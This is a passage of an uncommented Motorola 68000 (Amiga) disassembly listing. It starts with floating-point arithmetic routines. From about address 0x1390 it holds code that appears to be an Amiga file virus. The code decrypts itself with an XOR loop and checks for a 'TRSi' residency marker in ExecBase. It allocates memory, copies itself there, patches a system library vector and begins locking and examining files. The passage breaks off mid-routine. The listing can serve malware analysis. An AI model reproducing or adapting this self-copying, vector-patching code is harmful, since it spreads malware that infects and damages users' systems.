  1830.     EXG    D1,D3            ;0F9A: C343
  1831.     EXG    D4,D6            ;0F9C: C946
  1832.     EXG    D5,D7            ;0F9E: CB47
  1833. LAB_00F6:
  1834.     CMP    A1,D5            ;0FA0: BA49
  1835.     BEQ.S    LAB_00F8        ;0FA2: 6728
  1836.     TST    D7            ;0FA4: 4A47
  1837.     BNE.S    LAB_00FA        ;0FA6: 6634
  1838.     SWAP    D2            ;0FA8: 4842
  1839.     BNE.S    LAB_00F7        ;0FAA: 6610
  1840.     TST.L    D3            ;0FAC: 4A83
  1841.     BNE.S    LAB_00F7        ;0FAE: 660C
  1842.     EOR    D4,D0            ;0FB0: B940
  1843.     EOR    D5,D0            ;0FB2: BB40
  1844.     SWAP    D0            ;0FB4: 4840
  1845.     MOVEM.L    (A7)+,D2-D7        ;0FB6: 4CDF00FC
  1846.     RTS                ;0FBA: 4E75
  1847. LAB_00F7:
  1848.     ADD.L    D3,D3            ;0FBC: D683
  1849.     ADDX.L    D2,D2            ;0FBE: D582
  1850.     TST    D5            ;0FC0: 4A45
  1851.     BNE.S    LAB_00FB        ;0FC2: 661C
  1852.     SWAP    D0            ;0FC4: 4840
  1853.     ADD.L    D1,D1            ;0FC6: D281
  1854.     ADDX.L    D0,D0            ;0FC8: D180
  1855.     BRA.S    LAB_00FC        ;0FCA: 6018
  1856. LAB_00F8:
  1857.     TST.L    D0            ;0FCC: 4A80
  1858.     BNE.S    LAB_00F9        ;0FCE: 6608
  1859.     TST.L    D1            ;0FD0: 4A81
  1860.     BNE.S    LAB_00F9        ;0FD2: 6604
  1861.     BRA    LAB_011C        ;0FD4: 60000278
  1862. LAB_00F9:
  1863.     BRA    LAB_011E        ;0FD8: 60000294
  1864. LAB_00FA:
  1865.     ADD    A0,D2            ;0FDC: D448
  1866.     SWAP    D2            ;0FDE: 4842
  1867. LAB_00FB:
  1868.     ADD    A0,D0            ;0FE0: D048
  1869.     SWAP    D0            ;0FE2: 4840
  1870. LAB_00FC:
  1871.     SUB    D5,D7            ;0FE4: 9E45
  1872.     NOT    D7            ;0FE6: 4647
  1873.     ASR    #4,D7            ;0FE8: E847
  1874.     SUBI    #$0020,D5        ;0FEA: 04450020
  1875.     ADD.L    D1,D1            ;0FEE: D281
  1876.     ADDX.L    D0,D0            ;0FF0: D180
  1877.     CMP    A0,D7            ;0FF2: BE48
  1878.     BLE.S    LAB_00FF        ;0FF4: 6F30
  1879.     CMPI    #$0020,D7        ;0FF6: 0C470020
  1880.     BLE.S    LAB_00FE        ;0FFA: 6F1C
  1881.     CMPI    #$0034,D7        ;0FFC: 0C470034
  1882.     BLE.S    LAB_00FD        ;1000: 6F04
  1883.     MOVE    #$0034,D7        ;1002: 3E3C0034
  1884. LAB_00FD:
  1885.     MOVE.L    D2,D3            ;1006: 2602
  1886.     MOVEQ    #0,D2            ;1008: 7400
  1887.     SUBI    #$0020,D7        ;100A: 04470020
  1888.     LSR.L    D7,D3            ;100E: EEAB
  1889.     MOVEQ    #0,D2            ;1010: 7400
  1890.     CMP    D4,D6            ;1012: BC44
  1891.     BNE.S    LAB_0104        ;1014: 6658
  1892.     BRA.S    LAB_0100        ;1016: 601E
  1893. LAB_00FE:
  1894.     CMP    A0,D7            ;1018: BE48
  1895.     BLE.S    LAB_00FF        ;101A: 6F0A
  1896.     MOVE    D2,D3            ;101C: 3602
  1897.     SWAP    D3            ;101E: 4843
  1898.     CLR    D2            ;1020: 4242
  1899.     SWAP    D2            ;1022: 4842
  1900.     SUB    A0,D7            ;1024: 9E48
  1901. LAB_00FF:
  1902.     CMP    D4,D6            ;1026: BC44
  1903.     BNE.S    LAB_0103        ;1028: 6638
  1904.     MOVE.L    D2,D6            ;102A: 2C02
  1905.     LSR.L    D7,D2            ;102C: EEAA
  1906.     ROR.L    D7,D6            ;102E: EEBE
  1907.     LSR.L    D7,D3            ;1030: EEAB
  1908.     EOR.L    D2,D6            ;1032: B586
  1909.     EOR.L    D6,D3            ;1034: BD83
  1910. LAB_0100:
  1911.     ADD.L    D3,D1            ;1036: D283
  1912.     ADDX.L    D2,D0            ;1038: D182
  1913.     ADD    A0,D5            ;103A: DA48
  1914.     LSR.L    #1,D0            ;103C: E288
  1915.     ROXR.L    #1,D1            ;103E: E291
  1916.     BTST    #21,D0            ;1040: 08000015
  1917.     BEQ.S    LAB_0101        ;1044: 6706
  1918.     ADD    A0,D5            ;1046: DA48
  1919.     LSR.L    #1,D0            ;1048: E288
  1920.     ROXR.L    #1,D1            ;104A: E291
  1921. LAB_0101:
  1922.     SWAP    D0            ;104C: 4840
  1923.     ADD    D5,D0            ;104E: D045
  1924.     CMP    A1,D5            ;1050: BA49
  1925.     BCC.S    LAB_0102        ;1052: 640A
  1926.     OR    D4,D0            ;1054: 8044
  1927.     SWAP    D0            ;1056: 4840
  1928.     MOVEM.L    (A7)+,D2-D7        ;1058: 4CDF00FC
  1929.     RTS                ;105C: 4E75
  1930. LAB_0102:
  1931.     BRA    LAB_011B        ;105E: 600001DC
  1932. LAB_0103:
  1933.     MOVE.L    D2,D6            ;1062: 2C02
  1934.     LSR.L    D7,D2            ;1064: EEAA
  1935.     ROR.L    D7,D6            ;1066: EEBE
  1936.     LSR.L    D7,D3            ;1068: EEAB
  1937.     EOR.L    D2,D6            ;106A: B586
  1938.     EOR.L    D6,D3            ;106C: BD83
  1939. LAB_0104:
  1940.     SUB.L    D3,D1            ;106E: 9283
  1941.     SUBX.L    D2,D0            ;1070: 9182
  1942.     BTST    #21,D0            ;1072: 08000015
  1943.     BEQ    LAB_00D4        ;1076: 6700FCFC
  1944.     LSR.L    #1,D0            ;107A: E288
  1945.     ROXR.L    #1,D1            ;107C: E291
  1946.     ADD    A0,D5            ;107E: DA48
  1947.     SWAP    D0            ;1080: 4840
  1948.     ADD    D5,D0            ;1082: D045
  1949.     OR    D4,D0            ;1084: 8044
  1950.     SWAP    D0            ;1086: 4840
  1951.     MOVEM.L    (A7)+,D2-D7        ;1088: 4CDF00FC
  1952.     RTS                ;108C: 4E75
  1953.     DC.W    $0000            ;108E
  1954. LAB_0105:
  1955.     SWAP    D0            ;1090: 4840
  1956.     SWAP    D4            ;1092: 4844
  1957.     MOVEQ    #16,D5            ;1094: 7A10
  1958.     CMPI.L    #$00000020,D0        ;1096: 0C8000000020
  1959.     BGE.S    LAB_0107        ;109C: 6C14
  1960. LAB_0106:
  1961.     SWAP    D0            ;109E: 4840
  1962.     SWAP    D1            ;10A0: 4841
  1963.     MOVE    D1,D0            ;10A2: 3001
  1964.     CLR    D1            ;10A4: 4241
  1965.     SUBI    #$0100,D5        ;10A6: 04450100
  1966.     CMPI.L    #$00000020,D0        ;10AA: 0C8000000020
  1967.     BLT.S    LAB_0106        ;10B0: 6DEC
  1968. LAB_0107:
  1969.     CLR    D4            ;10B2: 4244
  1970.     CMPI.L    #$00002000,D0        ;10B4: 0C8000002000
  1971.     BGE.S    LAB_0108        ;10BA: 6C04
  1972.     LSL.L    #8,D0            ;10BC: E188
  1973.     ADDQ    #8,D4            ;10BE: 5044
  1974. LAB_0108:
  1975.     SWAP    D0            ;10C0: 4840
  1976.     TST    D0            ;10C2: 4A40
  1977.     BNE.S    LAB_0109        ;10C4: 6604
  1978.     ROL.L    #4,D0            ;10C6: E998
  1979.     ADDQ    #4,D4            ;10C8: 5844
  1980. LAB_0109:
  1981.     MOVEQ    #0,D6            ;10CA: 7C00
  1982.     LEA    LAB_010B,A1        ;10CC: 43F900001108
  1983.     MOVE.B    0(A1,D0.W),D6        ;10D2: 1C310000
  1984.     ROL.L    D6,D0            ;10D6: EDB8
  1985.     ADD    D6,D4            ;10D8: D846
  1986.     SWAP    D0            ;10DA: 4840
  1987.     MOVE.L    D1,D6            ;10DC: 2C01
  1988.     LSL.L    D4,D1            ;10DE: E9A9
  1989.     ROL.L    D4,D6            ;10E0: E9BE
  1990.     EOR    D1,D6            ;10E2: B346
  1991.     EOR    D6,D0            ;10E4: BD40
  1992.     LSL    #4,D4            ;10E6: E94C
  1993.     SUB    D4,D5            ;10E8: 9A44
  1994.     SWAP    D0            ;10EA: 4840
  1995.     SWAP    D4            ;10EC: 4844
  1996.     RTS                ;10EE: 4E75
  1997. LAB_010A:
  1998.     CMPI.L    #$00000020,D0        ;10F0: 0C8000000020
  1999.     BGE.S    LAB_010C        ;10F6: 6C30
  2000.     SWAP    D0            ;10F8: 4840
  2001.     SWAP    D1            ;10FA: 4841
  2002.     MOVE    D1,D0            ;10FC: 3001
  2003.     CLR    D1            ;10FE: 4241
  2004.     SUBI    #$0100,D5        ;1100: 04450100
  2005.     BGE.S    LAB_010A        ;1104: 6CEA
  2006.     BRA.S    LAB_010F        ;1106: 605E
  2007. LAB_010B:
  2008.     BTST    D2,D4            ;1108: 0504
  2009.     BTST    D1,D3            ;110A: 0303
  2010.     DC.W    $0202            ;110C
  2011.     DC.W    $0202            ;110E
  2012.     BTST    D0,D1            ;1110: 0101
  2013.     BTST    D0,D1            ;1112: 0101
  2014.     BTST    D0,D1            ;1114: 0101
  2015.     BTST    D0,D1            ;1116: 0101
  2016.     ORI.B    #$00,D0            ;1118: 00000000
  2017.     ORI.B    #$00,D0            ;111C: 00000000
  2018.     ORI.B    #$00,D0            ;1120: 00000000
  2019.     ORI.B    #$00,D0            ;1124: 00000000
  2020. LAB_010C:
  2021.     MOVEQ    #0,D3            ;1128: 7600
  2022.     CMPI.L    #$00002000,D0        ;112A: 0C8000002000
  2023.     BGE.S    LAB_010D        ;1130: 6C04
  2024.     LSL.L    #8,D0            ;1132: E188
  2025.     ADDQ    #8,D3            ;1134: 5043
  2026. LAB_010D:
  2027.     SWAP    D0            ;1136: 4840
  2028.     TST    D0            ;1138: 4A40
  2029.     BNE.S    LAB_010E        ;113A: 6604
  2030.     ROL.L    #4,D0            ;113C: E998
  2031.     ADDQ    #4,D3            ;113E: 5843
  2032. LAB_010E:
  2033.     MOVEQ    #0,D2            ;1140: 7400
  2034.     MOVE.B    LAB_010B(PC,D0.W),D2    ;1142: 143B00C4
  2035.     ROL.L    D2,D0            ;1146: E5B8
  2036.     ADD    D2,D3            ;1148: D642
  2037.     SWAP    D0            ;114A: 4840
  2038.     MOVE.L    D1,D2            ;114C: 2401
  2039.     LSL.L    D3,D1            ;114E: E7A9
  2040.     ROL.L    D3,D2            ;1150: E7BA
  2041.     EOR    D1,D2            ;1152: B342
  2042.     EOR    D2,D0            ;1154: B540
  2043.     LSL    #4,D3            ;1156: E94B
  2044.     SUB    D3,D5            ;1158: 9A43
  2045.     BLT.S    LAB_010F        ;115A: 6D0A
  2046.     SWAP    D0            ;115C: 4840
  2047.     ADD    D5,D0            ;115E: D045
  2048.     OR    D4,D0            ;1160: 8044
  2049.     SWAP    D0            ;1162: 4840
  2050.     RTS                ;1164: 4E75
  2051. LAB_010F:
  2052.     NEG    D5            ;1166: 4445
  2053.     LSR    #4,D5            ;1168: E84D
  2054.     MOVE.L    D0,D2            ;116A: 2400
  2055.     LSR.L    D5,D0            ;116C: EAA8
  2056.     ROR.L    D5,D2            ;116E: EABA
  2057.     LSR.L    D5,D1            ;1170: EAA9
  2058.     EOR.L    D0,D2            ;1172: B182
  2059.     EOR.L    D2,D1            ;1174: B581
  2060.     SWAP    D0            ;1176: 4840
  2061.     EOR    D4,D0            ;1178: B940
  2062.     SWAP    D0            ;117A: 4840
  2063.     RTS                ;117C: 4E75
  2064.     DC.W    $0000            ;117E
  2065.     MOVEM.L    D2-D5,-(A7)        ;1180: 48E73C00
  2066.     MOVEQ    #0,D4            ;1184: 7800
  2067.     MOVEQ    #0,D1            ;1186: 7200
  2068.     TST.L    D0            ;1188: 4A80
  2069.     BEQ.S    LAB_0112        ;118A: 672E
  2070.     BPL.S    LAB_0110        ;118C: 6A06
  2071.     MOVE    #$8000,D4        ;118E: 383C8000
  2072.     NEG.L    D0            ;1192: 4480
  2073. LAB_0110:
  2074.     CMPI.L    #$00200000,D0        ;1194: 0C8000200000
  2075.     BCC.S    LAB_0111        ;119A: 640E
  2076.     MOVE    #$4120,D5        ;119C: 3A3C4120
  2077.     BSR    LAB_010A        ;11A0: 6100FF4E
  2078.     MOVEM.L    (A7)+,D2-D5        ;11A4: 4CDF003C
  2079.     RTS                ;11A8: 4E75
  2080. LAB_0111:
  2081.     MOVE    D0,D1            ;11AA: 3200
  2082.     CLR    D0            ;11AC: 4240
  2083.     SWAP    D0            ;11AE: 4840
  2084.     SWAP    D1            ;11B0: 4841
  2085.     MOVE    #$4220,D5        ;11B2: 3A3C4220
  2086.     BSR    LAB_010A        ;11B6: 6100FF38
  2087. LAB_0112:
  2088.     MOVEM.L    (A7)+,D2-D5        ;11BA: 4CDF003C
  2089.     RTS                ;11BE: 4E75
  2090.     MOVEA.L    D2,A0            ;11C0: 2042
  2091.     MOVEA.L    D3,A1            ;11C2: 2243
  2092.     MOVE.L    #$7FFFFFFF,D3        ;11C4: 263C7FFFFFFF
  2093.     MOVE.L    D0,D2            ;11CA: 2400
  2094.     BPL.S    LAB_0113        ;11CC: 6A04
  2095.     ADDQ.L    #1,D3            ;11CE: 5283
  2096.     EOR.L    D3,D0            ;11D0: B780
  2097. LAB_0113:
  2098.     SWAP    D0            ;11D2: 4840
  2099.     MOVE    D0,D2            ;11D4: 3400
  2100.     ANDI    #$7FF0,D2        ;11D6: 02427FF0
  2101.     EOR    D2,D0            ;11DA: B540
  2102.     SUBI    #$3FF0,D2        ;11DC: 04423FF0
  2103.     BLT.S    LAB_0114        ;11E0: 6D18
  2104.     EORI    #$0010,D0        ;11E2: 0A400010
  2105.     SWAP    D0            ;11E6: 4840
  2106.     ASR    #4,D2            ;11E8: E842
  2107.     SUBI    #$0014,D2        ;11EA: 04420014
  2108.     BGT.S    LAB_0116        ;11EE: 6E12
  2109.     NEG    D2            ;11F0: 4442
  2110.     LSR.L    D2,D0            ;11F2: E4A8
  2111.     TST.L    D2            ;11F4: 4A82
  2112.     BMI.S    LAB_0117        ;11F6: 6B20
  2113.     BRA.S    LAB_0118        ;11F8: 6020
  2114. LAB_0114:
  2115.     MOVEQ    #0,D0            ;11FA: 7000
  2116.     BRA.S    LAB_0118        ;11FC: 601C
  2117. LAB_0115:
  2118.     MOVE.L    D3,D0            ;11FE: 2003
  2119.     BRA.S    LAB_0118        ;1200: 6018
  2120. LAB_0116:
  2121.     CMPI    #$000B,D2        ;1202: 0C42000B
  2122.     BGT.S    LAB_0115        ;1206: 6EF6
  2123.     EOR.L    D1,D0            ;1208: B380
  2124.     ROL.L    D2,D0            ;120A: E5B8
  2125.     LSL.L    D2,D1            ;120C: E5A9
  2126.     EOR.L    D1,D0            ;120E: B380
  2127.     CMP.L    D3,D0            ;1210: B083
  2128.     BHI.S    LAB_0115        ;1212: 62EA
  2129.     TST.L    D2            ;1214: 4A82
  2130.     BPL.S    LAB_0118        ;1216: 6A02
  2131. LAB_0117:
  2132.     NEG.L    D0            ;1218: 4480
  2133. LAB_0118:
  2134.     MOVE.L    A0,D2            ;121A: 2408
  2135.     MOVE.L    A1,D3            ;121C: 2609
  2136.     RTS                ;121E: 4E75
  2137. LAB_0119:
  2138.     MOVEQ    #0,D0            ;1220: 7000
  2139.     MOVE.L    D0,D1            ;1222: 2200
  2140.     EOR    D4,D0            ;1224: B940
  2141.     SWAP    D0            ;1226: 4840
  2142.     MOVEM.L    (A7)+,D2-D7        ;1228: 4CDF00FC
  2143.     RTS                ;122C: 4E75
  2144. LAB_011A:
  2145.     MOVEQ    #0,D0            ;122E: 7000
  2146.     MOVEQ    #0,D1            ;1230: 7200
  2147.     EOR    D4,D0            ;1232: B940
  2148.     SWAP    D0            ;1234: 4840
  2149.     MOVEM.L    (A7)+,D2-D7        ;1236: 4CDF00FC
  2150.     RTS                ;123A: 4E75
  2151. LAB_011B:
  2152.     MOVE.L    #$FFFF7FEF,D0        ;123C: 203CFFFF7FEF
  2153.     MOVEQ    #-1,D1            ;1242: 72FF
  2154.     EOR    D4,D0            ;1244: B940
  2155.     SWAP    D0            ;1246: 4840
  2156.     MOVEM.L    (A7)+,D2-D7        ;1248: 4CDF00FC
  2157.     RTS                ;124C: 4E75
  2158. LAB_011C:
  2159.     MOVE.L    #$00007FF0,D0        ;124E: 203C00007FF0
  2160.     MOVEQ    #0,D1            ;1254: 7200
  2161.     EOR    D4,D0            ;1256: B940
  2162.     SWAP    D0            ;1258: 4840
  2163.     MOVEM.L    (A7)+,D2-D7        ;125A: 4CDF00FC
  2164.     RTS                ;125E: 4E75
  2165. LAB_011D:
  2166.     MOVE.L    #$7FF10000,D0        ;1260: 203C7FF10000
  2167.     MOVEQ    #0,D1            ;1266: 7200
  2168.     MOVEM.L    (A7)+,D2-D7        ;1268: 4CDF00FC
  2169.     RTS                ;126C: 4E75
  2170. LAB_011E:
  2171.     BTST    #3,D0            ;126E: 08000003
  2172.     BEQ.S    LAB_011F        ;1272: 6708
  2173.     BCLR    #3,D0            ;1274: 08800003
  2174.     BSET    #1,D0            ;1278: 08C00001
  2175. LAB_011F:
  2176.     ORI    #$7FF1,D0        ;127C: 00407FF1
  2177.     SWAP    D0            ;1280: 4840
  2178.     MOVEM.L    (A7)+,D2-D7        ;1282: 4CDF00FC
  2179.     RTS                ;1286: 4E75
  2180.     ORI.B    #$02,CCR        ;1288: 003C0002
  2181.     TRAPV                ;128C: 4E76
  2182.     RTS                ;128E: 4E75
  2183.     MOVE.L    D0,-(A7)        ;1290: 2F00
  2184.     DIVU    #$0000,D0        ;1292: 80FC0000
  2185.     MOVE.L    (A7)+,D0        ;1296: 201F
  2186.     RTS                ;1298: 4E75
  2187.     DC.W    $0000            ;129A
  2188.     DC.W    $F200            ;129C
  2189.     NEGX.B    D0            ;129E: 4000
  2190.     DC.W    $F227            ;12A0
  2191.     MOVEQ    #0,D2            ;12A2: 7400
  2192.     MOVEM.L    (A7)+,D0-D1        ;12A4: 4CDF0003
  2193.     RTS                ;12A8: 4E75
  2194.     MOVE.L    D1,-(A7)        ;12AA: 2F01
  2195.     MOVE.L    D0,-(A7)        ;12AC: 2F00
  2196.     DC.W    $F21F            ;12AE
  2197.     ADDQ.B    #2,D0            ;12B0: 5400
  2198.     DC.W    $F200            ;12B2
  2199.     DC.W    $6000            ;12B4
  2200.     RTS                ;12B6: 4E75
  2201. LAB_0120:
  2202.     MOVE.L    D1,-(A7)        ;12B8: 2F01
  2203.     MOVE.L    D0,-(A7)        ;12BA: 2F00
  2204.     DC.W    $F21F            ;12BC
  2205.     ADDQ.B    #2,D0            ;12BE: 5400
  2206.     DC.W    $F200            ;12C0
  2207.     CMP.B    D0,D0            ;12C2: B000
  2208.     MOVE.L    D0,D1            ;12C4: 2200
  2209.     MOVE.B    #$20,D0            ;12C6: 103C0020
  2210.     DC.W    $F200            ;12CA
  2211.     SUB.B    D0,D0            ;12CC: 9000
  2212.     DC.W    $F200            ;12CE
  2213.     DC.W    $0001            ;12D0
  2214.     DC.W    $F201            ;12D2
  2215.     SUB.B    D0,D0            ;12D4: 9000
  2216.     DC.W    $F227            ;12D6
  2217.     MOVEQ    #0,D2            ;12D8: 7400
  2218.     MOVE.L    (A7)+,D0        ;12DA: 201F
  2219.     MOVE.L    (A7)+,D1        ;12DC: 221F
  2220.     RTS                ;12DE: 4E75
  2221.     TST.L    D0            ;12E0: 4A80
  2222.     BLT.S    LAB_0120        ;12E2: 6DD4
  2223.     MOVEM.L    D0-D1,-(A7)        ;12E4: 48E7C000
  2224.     DC.W    $F21F            ;12E8
  2225.     ADDQ.B    #2,D3            ;12EA: 5403
  2226.     DC.W    $F227            ;12EC
  2227.     MOVEQ    #0,D2            ;12EE: 7400
  2228.     MOVE.L    (A7)+,D0        ;12F0: 201F
  2229.     MOVE.L    (A7)+,D1        ;12F2: 221F
  2230.     RTS                ;12F4: 4E75
  2231.     NOP                ;12F6: 4E71
  2232.     MOVEM.L    D0-D3,-(A7)        ;12F8: 48E7F000
  2233.     DC.W    $F21F            ;12FC
  2234.     ADDQ.B    #2,D0            ;12FE: 5400
  2235.     DC.W    $F21F            ;1300
  2236.     ADDQ.B    #2,-(A2)        ;1302: 5422
  2237.     DC.W    $F227            ;1304
  2238.     MOVEQ    #0,D2            ;1306: 7400
  2239.     MOVE.L    (A7)+,D0        ;1308: 201F
  2240.     MOVE.L    (A7)+,D1        ;130A: 221F
  2241.     RTS                ;130C: 4E75
  2242.     DC.W    $0000            ;130E
  2243.     MOVE.L    D1,-(A7)        ;1310: 2F01
  2244.     MOVE.L    D0,-(A7)        ;1312: 2F00
  2245.     DC.W    $F21F            ;1314
  2246.     ADDQ.B    #2,D0            ;1316: 5400
  2247.     MOVEM.L    D2-D3,-(A7)        ;1318: 48E73000
  2248.     DC.W    $F21F            ;131C
  2249.     ADDQ.B    #2,-3545(A0)        ;131E: 5428F227
  2250.     MOVEQ    #0,D2            ;1322: 7400
  2251.     MOVE.L    (A7)+,D0        ;1324: 201F
  2252.     MOVE.L    (A7)+,D1        ;1326: 221F
  2253.     BRA.S    LAB_0123        ;1328: 6066
  2254.     DC.W    $0000            ;132A
  2255.     MOVEM.L    D0-D3,-(A7)        ;132C: 48E7F000
  2256.     DC.W    $F21F            ;1330
  2257.     ADDQ.B    #2,D0            ;1332: 5400
  2258.     DC.W    $F21F            ;1334
  2259.     ADDQ.B    #2,-(A3)        ;1336: 5423
  2260.     DC.W    $F227            ;1338
  2261.     MOVEQ    #0,D2            ;133A: 7400
  2262.     MOVE.L    (A7)+,D0        ;133C: 201F
  2263.     MOVE.L    (A7)+,D1        ;133E: 221F
  2264.     BRA.S    LAB_0123        ;1340: 604E
  2265.     DC.W    $0000            ;1342
  2266.     MOVE.L    D1,-(A7)        ;1344: 2F01
  2267.     MOVE.L    D0,-(A7)        ;1346: 2F00
  2268.     DC.W    $F21F            ;1348
  2269.     ADDQ.B    #2,D0            ;134A: 5400
  2270.     MOVEM.L    D2-D3,-(A7)        ;134C: 48E73000
  2271.     DC.W    $F21F            ;1350
  2272.     ADDQ.B    #2,-(A0)        ;1352: 5420
  2273.     DC.W    $F227            ;1354
  2274.     MOVEQ    #0,D2            ;1356: 7400
  2275.     MOVE.L    (A7)+,D0        ;1358: 201F
  2276.     MOVE.L    (A7)+,D1        ;135A: 221F
  2277.     BRA.S    LAB_0123        ;135C: 6032
  2278. LAB_0121:
  2279.     MOVE.L    #$00000090,D0        ;135E: 203C00000090
  2280.     DC.W    $F200            ;1364
  2281.     SUB.B    D0,D0            ;1366: 9000
  2282.     CLR.L    D0            ;1368: 4280
  2283.     BRA.S    LAB_0123        ;136A: 6024
  2284. LAB_0122:
  2285.     DC.W    $FFFF            ;136C
  2286.     ASR    #7,D2            ;136E: EE42
  2287.     ROR    #7,D6            ;1370: EE5E
  2288.     DC.W    $EDD6            ;1372
  2289.     ROXL.L    D6,D6            ;1374: EDB6
  2290.     DC.W    $FE54            ;1376
  2291.     DC.W    $F012            ;1378
  2292.     DC.W    $F7DC            ;137A
  2293.     DC.W    $FB10            ;137C
  2294.     DC.W    $F594            ;137E
  2295.     DC.W    $F59C            ;1380
  2296.     DC.W    $F09C            ;1382
  2297.     DC.W    $F16A            ;1384
  2298.     DC.W    $F238            ;1386
  2299.     DC.W    $F306            ;1388
  2300.     DC.W    $EEF2            ;138A
  2301.     DC.W    $EEC4            ;138C
  2302.     DC.W    $FFFF            ;138E
  2303. LAB_0123:
  2304.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;1390: 48E7FFFE
  2305.     BSR.S    LAB_0124        ;1394: 6108
  2306.     BSR.S    LAB_0128        ;1396: 613E
  2307.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;1398: 4CDF7FFF
  2308.     RTS                ;139C: 4E75
  2309. LAB_0124:
  2310.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;139E: 48E7FFFE
  2311.     LEA    LAB_0155(PC),A0        ;13A2: 41FA0422
  2312.     DC.W    $43FA            ;13A6
  2313.     DC.W    $04D4            ;13A8
  2314. LAB_0125:
  2315.     EORI    #$BABE,(A0)+        ;13AA: 0A58BABE
  2316.     CMPA.L    A0,A1            ;13AE: B3C8
  2317.     BNE.S    LAB_0125        ;13B0: 66F8
  2318.     MOVEA.L    (ABSEXECBASE).W,A6    ;13B2: 2C780004
  2319.     JSR    -636(A6)        ;13B6: 4EAEFD84
  2320.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;13BA: 4CDF7FFF
  2321.     RTS                ;13BE: 4E75
  2322. LAB_0126:
  2323.     MOVEM.L    D1-D7/A0-A6,-(A7)    ;13C0: 48E77FFE
  2324.     MOVE.L    #$00050001,D1        ;13C4: 223C00050001
  2325.     JSR    -684(A6)        ;13CA: 4EAEFD54
  2326.     MOVEM.L    (A7)+,D1-D7/A0-A6    ;13CE: 4CDF7FFE
  2327.     TST.L    D0            ;13D2: 4A80
  2328. LAB_0127:
  2329.     RTS                ;13D4: 4E75
  2330. LAB_0128:
  2331.     MOVEA.L    (ABSEXECBASE).W,A6    ;13D6: 2C780004
  2332. LAB_0129:
  2333.     CMPI.L    #$54525369,514(A6)    ;13DA: 0CAE545253690202
  2334.     BEQ.S    LAB_0127        ;13E2: 67F0
  2335.     MOVE.L    #$00000200,D0        ;13E4: 203C00000200
  2336.     BSR.S    LAB_0126        ;13EA: 61D4
  2337.     BEQ.S    LAB_0127        ;13EC: 67E6
  2338.     LEA    LAB_0123(PC),A1        ;13EE: 43FAFFA0
  2339.     MOVE.L    D0,1062(A1)        ;13F2: 23400426
  2340.     MOVE.L    #$00000522,D0        ;13F6: 203C00000522
  2341.     BSR.S    LAB_0126        ;13FC: 61C2
  2342.     BEQ.S    LAB_0127        ;13FE: 67D4
  2343.     MOVEA.L    D0,A0            ;1400: 2040
  2344.     MOVE    #$04EB,D1        ;1402: 323C04EB
  2345. LAB_012A:
  2346.     MOVE.B    (A1)+,(A0)+        ;1406: 10D9
  2347.     DBF    D1,LAB_012A        ;1408: 51C9FFFC
  2348.     MOVEA.L    D0,A0            ;140C: 2040
  2349.     PEA    134(A0)            ;140E: 48680086
  2350.     JMP    -636(A6)        ;1412: 4EEEFD84
  2351.     LEA    LAB_0154(PC),A1        ;1416: 43FA03A2
  2352.     MOVE.L    #$10020019,198(A1)    ;141A: 237C1002001900C6
  2353.     MOVEQ    #37,D0            ;1422: 7025
  2354.     JSR    -552(A6)        ;1424: 4EAEFDD8
  2355.     TST.L    D0            ;1428: 4A80
  2356.     BEQ.S    LAB_0127        ;142A: 67A8
  2357.     DC.W    $43FA            ;142C
  2358.     DC.W    $044E            ;142E
  2359.     MOVE.L    D0,(A1)            ;1430: 2280
  2360.     MOVEA.L    D0,A2            ;1432: 2440
  2361.     MOVEA.L    -148(A2),A3        ;1434: 266AFF6C
  2362.     LEA    LAB_012C(PC),A4        ;1438: 49FA0044
  2363.     MOVE.L    -162(A4),D1        ;143C: 222CFF5E
  2364.     CMP.L    -162(A3),D1        ;1440: B2ABFF5E
  2365.     BEQ.S    LAB_012B        ;1444: 6708
  2366.     MOVE.L    A3,1042(A4)        ;1446: 294B0412
  2367.     MOVE.L    A4,-148(A2)        ;144A: 254CFF6C
  2368. LAB_012B:
  2369.     MOVE.L    LAB_0129+2(PC),514(A6)    ;144E: 2D7AFF8C0202
  2370.     LEA    LAB_0157(PC),A1        ;1454: 43FA0384
  2371.     JSR    -294(A6)        ;1458: 4EAEFEDA
  2372.     TST.L    D0            ;145C: 4A80
  2373.     BNE.S    LAB_012E        ;145E: 6634
  2374.     LEA    LAB_0157(PC),A1        ;1460: 43FA0378
  2375.     MOVE.L    A1,D1            ;1464: 2209
  2376.     CLR.L    D2            ;1466: 4282
  2377.     LEA    LAB_0140(PC),A1        ;1468: 43FA01CA
  2378.     MOVE.L    A1,D3            ;146C: 2609
  2379.     LSR.L    #2,D3            ;146E: E48B
  2380.     MOVE.L    #$00000400,D4        ;1470: 283C00000400
  2381.     DC.W    $2C7A            ;1476
  2382.     DC.W    $0404            ;1478
  2383.     JMP    -138(A6)        ;147A: 4EEEFF76
  2384. LAB_012C:
  2385.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;147E: 48E7FFFE
  2386.     DC.W    $4BFA            ;1482
  2387.     DC.W    $0428            ;1484
  2388.     TST.L    (A5)            ;1486: 4A95
  2389.     BNE.S    LAB_012D        ;1488: 6602
  2390.     BSR.S    LAB_0130        ;148A: 6110
  2391. LAB_012D:
  2392.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;148C: 4CDF7FFF
  2393.     DC.W    $2F3A            ;1490
  2394.     DC.W    $03FE            ;1492
  2395. LAB_012E:
  2396.     RTS                ;1494: 4E75
  2397. LAB_012F:
  2398.     MOVE.L    D7,D1            ;1496: 2207
  2399.     JMP    -90(A6)            ;1498: 4EEEFFA6
  2400. LAB_0130:
  2401.     DC.W    $2C7A            ;149C
  2402.     BSET    D1,(A6)+        ;149E: 03DE
  2403.     DC.W    $41FA            ;14A0
  2404.     BSET    D1,-127(A2,D2.W)    ;14A2: 03F22081
  2405.     MOVEQ    #-1,D2            ;14A6: 74FF
  2406.     JSR    -84(A6)            ;14A8: 4EAEFFAC
  2407.     TST.L    D0            ;14AC: 4A80
  2408.     BEQ.S    LAB_012E        ;14AE: 67E4
  2409.     MOVE.L    D0,D7            ;14B0: 2E00
  2410.     MOVE.L    D0,D1            ;14B2: 2200
  2411.     MOVEA.L    LAB_0153(PC),A5        ;14B4: 2A7A0300
  2412.     MOVE.L    A5,D2            ;14B8: 240D
  2413.     JSR    -114(A6)        ;14BA: 4EAEFF8E
  2414.     TST.L    D0            ;14BE: 4A80
  2415.     BEQ.S    LAB_012F        ;14C0: 67D4
  2416.     CMPI.L    #$00000052,8(A5)    ;14C2: 0CAD000000520008
